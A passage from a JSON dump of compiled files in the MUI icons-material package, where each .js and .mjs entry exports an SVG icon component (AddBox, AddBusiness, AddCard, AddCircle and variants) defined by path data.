    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-2.76 0-5 2.24-5 5v7h10v-7c0-2.76-2.24-5-5-5m4 7h-3v3h-2v-3H8v-2h3V8h2v3h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-2 1H7v-7c0-2.76 2.24-5 5-5s5 2.24 5 5zm-4-7V8h-2v3H8v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'AddAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-2.76 0-5 2.24-5 5v7h10v-7c0-2.76-2.24-5-5-5m4 7h-3v3h-2v-3H8v-2h3V8h2v3h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-2 1H7v-7c0-2.76 2.24-5 5-5s5 2.24 5 5zm-4-7V8h-2v3H8v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'AddAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 10h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 10h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-8-2h2v-4h4v-2h-4V7h-2v4H7v2h4z\"\n}), 'AddBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-8-2h2v-4h4v-2h-4V7h-2v4H7v2h4z\"\n}), 'AddBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3 10h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H8c-.55 0-1-.45-1-1s.45-1 1-1h3V8c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3 10h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H8c-.55 0-1-.45-1-1s.45-1 1-1h3V8c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-4 10h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-4 10h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm2-8h4V7h2v4h4v2h-4v4h-2v-4H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-8-2h2v-4h4v-2h-4V7h-2v4H7v2h4z\"\n}, \"1\")], 'AddBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBoxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm2-8h4V7h2v4h4v2h-4v4h-2v-4H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-8-2h2v-4h4v-2h-4V7h-2v4H7v2h4z\"\n}, \"1\")], 'AddBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusiness.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zM2 4h15v2H2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'AddBusiness');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusiness.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zM2 4h15v2H2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'AddBusiness');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4h15v2H2zm13 13h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zm-5.96-6 .6-3h11.72l.6 3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 18h-3v-3h-2v3h-3v2h3v3h2v-3h3z\"\n}, \"1\")], 'AddBusinessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4h15v2H2zm13 13h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zm-5.96-6 .6-3h11.72l.6 3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18h-3v-3h-2v3h-3v2h3v3h2v-3h3z\"\n}, \"1\")], 'AddBusinessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6h13c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1m12 11h2v-3h.18c.63 0 1.1-.58.98-1.2l-1-5c-.09-.46-.5-.8-.98-.8H2.82c-.48 0-.89.34-.98.8l-1 5c-.12.62.35 1.2.98 1.2H2v5c0 .55.45 1 1 1h7c.55 0 1-.45 1-1v-5h4zm-6 1H4v-4h5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'AddBusinessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6h13c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1m12 11h2v-3h.18c.63 0 1.1-.58.98-1.2l-1-5c-.09-.46-.5-.8-.98-.8H2.82c-.48 0-.89.34-.98.8l-1 5c-.12.62.35 1.2.98 1.2H2v5c0 .55.45 1 1 1h7c.55 0 1-.45 1-1v-5h4zm-6 1H4v-4h5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}, \"1\")], 'AddBusinessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zM2 4h15v2H2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'AddBusinessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zM2 4h15v2H2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"1\")], 'AddBusinessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.36 9H3.64l-.6 3h12.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4h15v2H2zm13 13h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zm-5.96-6 .6-3h11.72l.6 3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"2\")], 'AddBusinessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddBusinessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.36 9H3.64l-.6 3h12.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4h15v2H2zm13 13h2v-3h1v-2l-1-5H2l-1 5v2h1v6h9v-6h4zm-6 1H4v-4h5zm-5.96-6 .6-3h11.72l.6 3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18v-3h-2v3h-3v2h3v3h2v-3h3v-2z\"\n}, \"2\")], 'AddBusinessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M21 6h-3V3h-2v3h-3v2h3v3h2V8h3z\"\n}), 'AddCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M21 6h-3V3h-2v3h-3v2h3v3h2V8h3z\"\n}), 'AddCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h10v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h10v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h10v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h10v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 19c0-.55-.45-1-1-1H4v-6h18V6c0-1.1-.9-2-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h9c.55 0 1-.45 1-1m6-11H4V6h16zm0 14c-.55 0-1-.45-1-1v-2h-2c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1h-2v2c0 .55-.45 1-1 1\"\n}), 'AddCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 19c0-.55-.45-1-1-1H4v-6h18V6c0-1.1-.9-2-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h9c.55 0 1-.45 1-1m6-11H4V6h16zm0 14c-.55 0-1-.45-1-1v-2h-2c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1h-2v2c0 .55-.45 1-1 1\"\n}), 'AddCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.01 4 2 20h12v-2H4v-6h18V4zM20 8H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.01 4 2 20h12v-2H4v-6h18V4zM20 8H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h10v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h10v-2H4v-6h18V6c0-1.11-.89-2-2-2m0 4H4V6h16zm4 9v2h-3v3h-2v-3h-3v-2h3v-3h2v3z\"\n}), 'AddCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m5 11h-4v4h-2v-4H7v-2h4V7h2v4h4z\"\n}), 'AddCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddCircleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v4H7v2h4v4h2v-4h4v-2h-4zm-1-5C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AddCircleOutline');"
  },
